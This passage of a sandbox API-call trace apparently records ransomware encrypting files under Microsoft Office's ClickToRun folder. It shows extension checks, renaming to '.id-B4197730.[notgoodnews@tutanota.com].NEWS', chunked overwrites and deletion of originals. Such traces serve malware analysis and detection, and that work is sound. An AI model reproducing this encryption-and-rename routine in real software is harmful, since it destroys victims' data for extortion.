(lpString=".doc") returned 4 [0082.305] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.305] lstrlenW (lpString=".docx") returned 5 [0082.305] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0082.305] lstrlenW (lpString=".pdf") returned 4 [0082.305] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.305] lstrlenW (lpString=".xls") returned 4 [0082.305] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.305] lstrlenW (lpString=".xlsx") returned 5 [0082.305] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0082.305] lstrlenW (lpString=".ppt") returned 4 [0082.305] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.305] lstrlenW (lpString=".zip") returned 4 [0082.305] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.305] lstrlenW (lpString=".rar") returned 4 [0082.305] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.305] lstrlenW (lpString=".bz2") returned 4 [0082.305] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.305] lstrlenW (lpString=".7z") returned 3 [0082.305] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.305] lstrlenW (lpString=".dbf") returned 4 [0082.305] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.305] lstrlenW (lpString=".1cd") returned 4 [0082.305] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.305] lstrlenW (lpString=".jpg") returned 4 [0082.305] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.306] lstrlenW (lpString=".doc") returned 4 [0082.306] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.306] lstrlenW (lpString=".docx") returned 5 [0082.306] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0082.306] lstrlenW (lpString=".pdf") returned 4 [0082.306] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.306] lstrlenW (lpString=".xls") returned 4 [0082.306] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.306] lstrlenW (lpString=".xlsx") returned 5 [0082.306] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0082.306] lstrlenW (lpString=".ppt") returned 4 [0082.306] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.306] lstrlenW (lpString=".zip") returned 4 [0082.306] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.306] lstrlenW (lpString=".rar") returned 4 [0082.306] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.306] lstrlenW (lpString=".bz2") returned 4 [0082.306] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.306] lstrlenW (lpString=".7z") returned 3 [0082.306] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.306] lstrlenW (lpString=".dbf") returned 4 [0082.306] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.306] lstrlenW (lpString=".1cd") returned 4 [0082.306] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.306] lstrlenW (lpString=".jpg") returned 4 [0082.306] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.306] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.306] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0082.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0082.307] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=656088) returned 1 [0082.307] CloseHandle (hObject=0x38c) returned 1 [0082.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0082.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.307] lstrlenW (lpString=".doc") returned 4 [0082.307] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.307] lstrlenW (lpString=".docx") returned 5 [0082.307] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0082.307] lstrlenW (lpString=".pdf") returned 4 [0082.307] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.307] lstrlenW (lpString=".xls") returned 4 [0082.307] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.307] lstrlenW (lpString=".xlsx") returned 5 [0082.307] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0082.307] lstrlenW (lpString=".ppt") returned 4 [0082.307] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.308] lstrlenW (lpString=".zip") returned 4 [0082.308] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.308] lstrlenW (lpString=".rar") returned 4 [0082.308] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.308] lstrlenW (lpString=".bz2") returned 4 [0082.308] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.308] lstrlenW (lpString=".7z") returned 3 [0082.308] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.308] lstrlenW (lpString=".dbf") returned 4 [0082.308] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.308] lstrlenW (lpString=".1cd") returned 4 [0082.308] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.308] lstrlenW (lpString=".jpg") returned 4 [0082.308] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.308] lstrlenW (lpString=".doc") returned 4 [0082.308] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.308] lstrlenW (lpString=".docx") returned 5 [0082.308] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0082.308] lstrlenW (lpString=".pdf") returned 4 [0082.308] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.308] lstrlenW (lpString=".xls") returned 4 [0082.308] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.308] lstrlenW (lpString=".xlsx") returned 5 [0082.308] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0082.308] lstrlenW (lpString=".ppt") returned 4 [0082.308] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.308] lstrlenW (lpString=".zip") returned 4 [0082.308] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.308] lstrlenW (lpString=".rar") returned 4 [0082.308] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.309] lstrlenW (lpString=".bz2") returned 4 [0082.309] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.309] lstrlenW (lpString=".7z") returned 3 [0082.309] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.309] lstrlenW (lpString=".dbf") returned 4 [0082.309] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.309] lstrlenW (lpString=".1cd") returned 4 [0082.309] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0082.309] lstrlenW (lpString=".jpg") returned 4 [0082.309] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.309] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0082.309] lstrlenW (lpString="appvcleaner.exe") returned 15 [0082.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0082.309] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2054872) returned 1 [0082.309] CloseHandle (hObject=0x38c) returned 1 [0082.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0082.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0082.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0082.310] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0x0) returned 1 [0082.310] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0082.310] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0082.869] ReadFile (in: hFile=0x38c, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3631058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.871] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.871] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0082.871] ReadFile (in: hFile=0x38c, lpBuffer=0x3671058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3671058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.886] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.886] WriteFile (in: hFile=0x38c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2adfca8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfca8*=0xc010a, lpOverlapped=0x0) returned 1 [0082.909] SetEndOfFile (hFile=0x38c) returned 1 [0082.909] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3dc3a40 [0083.416] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0083.416] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc3a40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3dc3a40*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.418] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0083.418] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc3a40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3dc3a40*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.420] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0083.421] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc3a40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3dc3a40*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.423] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.426] CloseHandle (hObject=0x38c) returned 1 [0083.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.427] lstrlenW (lpString=".doc") returned 4 [0083.427] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0083.427] lstrlenW (lpString=".docx") returned 5 [0083.427] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0083.427] lstrlenW (lpString=".pdf") returned 4 [0083.427] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0083.427] lstrlenW (lpString=".xls") returned 4 [0083.427] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0083.427] lstrlenW (lpString=".xlsx") returned 5 [0083.427] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0083.427] lstrlenW (lpString=".ppt") returned 4 [0083.427] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0083.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.427] lstrlenW (lpString=".zip") returned 4 [0083.427] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0083.427] lstrlenW (lpString=".rar") returned 4 [0083.427] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0083.427] lstrlenW (lpString=".bz2") returned 4 [0083.427] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0083.427] lstrlenW (lpString=".7z") returned 3 [0083.427] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0083.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.427] lstrlenW (lpString=".dbf") returned 4 [0083.427] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0083.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.427] lstrlenW (lpString=".1cd") returned 4 [0083.427] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0083.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.427] lstrlenW (lpString=".jpg") returned 4 [0083.427] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0083.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.427] lstrlenW (lpString=".doc") returned 4 [0083.427] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0083.427] lstrlenW (lpString=".docx") returned 5 [0083.428] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0083.428] lstrlenW (lpString=".pdf") returned 4 [0083.428] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0083.428] lstrlenW (lpString=".xls") returned 4 [0083.428] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0083.428] lstrlenW (lpString=".xlsx") returned 5 [0083.428] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0083.428] lstrlenW (lpString=".ppt") returned 4 [0083.428] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0083.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.428] lstrlenW (lpString=".zip") returned 4 [0083.428] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0083.428] lstrlenW (lpString=".rar") returned 4 [0083.428] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0083.428] lstrlenW (lpString=".bz2") returned 4 [0083.428] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0083.428] lstrlenW (lpString=".7z") returned 3 [0083.428] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0083.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.428] lstrlenW (lpString=".dbf") returned 4 [0083.428] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0083.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.428] lstrlenW (lpString=".1cd") returned 4 [0083.428] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0083.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0083.428] lstrlenW (lpString=".jpg") returned 4 [0083.428] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0083.428] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0083.428] lstrlenW (lpString="C2R32.dll") returned 9 [0083.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0083.429] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=820416) returned 1 [0083.429] CloseHandle (hObject=0x38c) returned 1 [0083.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0083.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0083.429] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.429] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0083.430] GetLastError () returned 0x0 [0083.430] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0xc84c0, lpOverlapped=0x0) returned 1 [0083.446] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xc84d0, lpOverlapped=0x0) returned 1 [0083.851] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.851] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe6, lpOverlapped=0x0) returned 1 [0083.851] SetEndOfFile (hFile=0x33c) returned 1 [0083.851] CloseHandle (hObject=0x33c) returned 1 [0083.851] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.852] SetEndOfFile (hFile=0x38c) returned 1 [0083.859] CloseHandle (hObject=0x38c) returned 1 [0083.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.859] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0083.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.859] lstrlenW (lpString=".doc") returned 4 [0083.859] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.859] lstrlenW (lpString=".docx") returned 5 [0083.859] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0083.859] lstrlenW (lpString=".pdf") returned 4 [0083.859] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.859] lstrlenW (lpString=".xls") returned 4 [0083.859] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.859] lstrlenW (lpString=".xlsx") returned 5 [0083.859] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0083.859] lstrlenW (lpString=".ppt") returned 4 [0083.859] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.860] lstrlenW (lpString=".zip") returned 4 [0083.860] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString=".rar") returned 4 [0083.860] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString=".bz2") returned 4 [0083.860] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.860] lstrlenW (lpString=".7z") returned 3 [0083.860] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.860] lstrlenW (lpString=".dbf") returned 4 [0083.860] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.860] lstrlenW (lpString=".1cd") returned 4 [0083.860] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.860] lstrlenW (lpString=".jpg") returned 4 [0083.860] lstrcmpiW 